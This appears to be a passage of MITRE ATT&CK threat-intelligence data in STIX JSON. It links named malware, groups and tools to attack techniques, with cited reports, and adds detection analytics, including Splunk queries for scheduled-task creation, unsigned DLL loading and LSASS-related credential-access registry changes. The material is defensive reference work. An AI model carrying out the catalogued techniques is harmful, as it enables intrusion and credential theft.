Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-17T02:10:14.677Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) uses DNS as its C2 protocol.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59de6826-2503-422d-9e53-b3c0a43738dd","created":"2022-09-07T13:56:28.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:47:18.222Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used Word documents that prompted the victim to enable macros and run a Visual Basic script.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}],"modified":"2019-04-24T23:59:16.363Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) contains base64-encoded strings.(Citation: Palo Alto Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--59e05166-d274-4cf3-b9f1-f5e17755eb0e","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).","modified":"2022-04-20T02:46:10.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59e0f91a-278b-49f9-8f8d-93b2b9914fad","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:01:37.112Z","description":"Monitor for commands being executed via schtasks or other utilities related to task scheduling.\n\nAnalytic 1 - Look for schtasks.exe execution with arguments indicative of task creation/modification.\n\n sourcetype=WinEventLog:Powershell (EventCode=4104 OR command=\"schtasks.exe\")\n| stats count by user host process_name command_line\n| where Image=\"schtasks.exe\" OR command_line=\"*schtasks*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59e2e811-8f23-40bc-ae20-040feb1fa1fe","created":"2022-10-04T21:20:27.622Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:20:27.622Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) has been named `CrashReporter.exe` to appear as a legitimate Mozilla executable.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59e64b14-27eb-46aa-ae75-863602253e77","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59e682dd-3a1f-48ab-8e1f-3fb967676931","type":"relationship","created":"2020-11-08T23:25:25.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:25:25.626Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to steal data from the Chrome, Edge, Firefox, Thunderbird, and Opera browsers.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59ef906c-f395-427a-9cd5-30887a983516","type":"relationship","created":"2021-03-19T21:04:01.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-25T15:34:04.391Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has hidden encoded data for malware DLLs in a PNG.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59f009e1-8175-439e-9fb1-6c37ae392307","created":"2024-02-12T21:10:15.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T21:44:47.995Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses NirSoft tools to steal user credentials from the infected machine.(Citation: Ensilo Darkgate 2018) NirSoft tools are executed via process hollowing in a newly-created instance of vbc.exe or regasm.exe.","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59f80c0d-e8d7-48f6-960a-3d4b593f8b33","created":"2020-10-19T04:17:45.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-04T12:58:39.324Z","description":"Users can be trained to identify social engineering techniques and spearphishing attempts. Additionally, users may perform visual checks of the domains they visit; however, homographs in ASCII and in IDN domains and URL schema obfuscation may render manual checks difficult. Phishing training and other cybersecurity training may raise awareness to check URLs before visiting the sites.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59fd7bfd-f99b-4a76-9ea0-4fc89c27f204","created":"2023-03-26T20:27:23.550Z","revoked":false,"external_references":[{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:27:23.550Z","description":"For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) wrote malware such as [Sibot](https://attack.mitre.org/software/S0589) in Visual Basic.(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59fe8c5d-f008-4be7-a187-39d70073914d","type":"relationship","created":"2019-04-23T16:12:37.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.962Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains modules, such as Get-ComputerInfo, for enumerating common system information.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59fee765-c771-4d66-bc8a-ddedb49f43d8","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:26:24.340Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.\n\nNote: This looks for unsigned images that may be loaded by regsvr32, while attempting to eliminate false positives stemming from Windows/Program Files binaries.\n\nAnalytic 5 - Loading Unsigned Images \n\n(sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"7\") (Image=\"C:\\\\Windows\\\\System32\\\\regsvr32.exe\" OR Image=\"C:\\\\Windows\\\\SysWOW64\\\\regsvr32.exe\") Signed=false ImageLoaded!=\"C:\\\\Program Files*\" ImageLoaded!=\"C:\\\\Windows\\\\*\"|stats values(ComputerName) as \"Computer Name\" count(ImageLoaded) as ImageLoadedCount by ImageLoaded","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a094c68-b8cd-470b-a4ff-11109fd0b309","created":"2024-03-13T21:09:35.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T23:04:14.169Z","description":"[PITSTOP](https://attack.mitre.org/software/S1123) can listen over the Unix domain socket located at `/data/runtime/cockpit/wd.fd`.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--d79b1800-3b5d-4a4f-8863-8251eca793e2","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a0ce8c4-e941-4bd0-8e70-6ca440a29b9d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","source_name":"McAfee Bankshot"}],"modified":"2019-09-09T19:15:45.232Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a0db1e3-cd18-4f00-936b-4b8ede1e0498","type":"relationship","created":"2020-05-29T20:32:42.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-15T22:52:32.039Z","description":"[Get2](https://attack.mitre.org/software/S0460) has the ability to inject DLLs into processes.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a166a20-4191-429c-9fd0-f566a86f0753","created":"2020-11-06T18:40:38.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cobalt Strike TTPs Dec 2017","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"},{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"CobaltStrike Daddy May 2017","description":"Mudge, R. (2017, May 23). Cobalt Strike 3.8 – Who’s Your Daddy?. Retrieved June 4, 2019.","url":"https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.839Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use VBA to perform execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: CobaltStrike Daddy May 2017)(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a1876a1-144f-4416-b9bf-6df819613962","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2020-03-18T15:36:43.207Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) mimics filenames from %SYSTEM%\\System32 to hide DLLs in %WINDIR% and/or %TEMP%.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a192f7a-c99c-4f15-b9bd-865a3fbe3851","created":"2023-02-27T22:54:34.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T23:33:42.461Z","description":"Monitor network data for uncommon data flows, specifically to text storage sites such as `Pastebin[.]com`, `Paste[.]ee`, and `Pastebin[.]pl`.","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a19b582-5176-4f25-81b6-efde178c0b97","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for changes made in the Active Directory that may use network logon scripts automatically executed at logon initialization to establish persistence.","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a20bdc4-1cf0-4426-b10e-67de34c1aeb7","created":"2023-07-24T18:40:31.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:51:19.394Z","description":"Monitor for changes to Registry entries associated with credential access that is stored in the process memory of the LSASS. For example, the adversary can modify the SAM and SYSTEM files.\n\nAnalytics 1 - Unauthorized registry modifications related to LSASS.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName IN (\"*\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\*\", \"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest\", \"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Kerberos\", \"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\MSV1_0\") | where ProcessName IN (\"reg.exe\", \"powershell.exe\", \"wmic.exe\", \"schtasks.exe\", \"cmd.exe\", \"rundll32.exe\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a256a62-f3a7-43b6-86da-df633b890977","created":"2024-09-04T17:25:50.070Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:25:50.070Z","description":"[Covenant](https://attack.mitre.org/software/S1155) can create launchers via an InstallUtil XML file to install new Grunt listeners.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a25798a-eca1-4841-b422-95aa3bf025e3","type":"relationship","created":"2021-07-30T15:54:30.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bishop Fox Sliver Framework August 2019","url":"https://labs.bishopfox.com/tech-blog/sliver","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."},{"source_name":"GitHub Sliver C2","url":"https://github.com/BishopFox/sliver/","description":"BishopFox. (n.d.). Sliver. Retrieved September 15, 2021."}],"modified":"2021-09-16T15:47:40.151Z","description":"[Sliver](https://attack.mitre.org/software/S0633) has the ability to manipulate user tokens on targeted Windows systems.(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver C2)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a2b7013-a110-4a07-acf6-66a7f159954d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:50:53.329Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) can steal clipboard contents.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a2c4561-48e4-4d51-8f00-ff470a18df32","created":"2020-05-13T17:16:11.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:46:46.273Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) used Base64 encoding to obfuscate an [Empire](https://attack.mitre.org/software/S0363) service and PowerShell commands.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 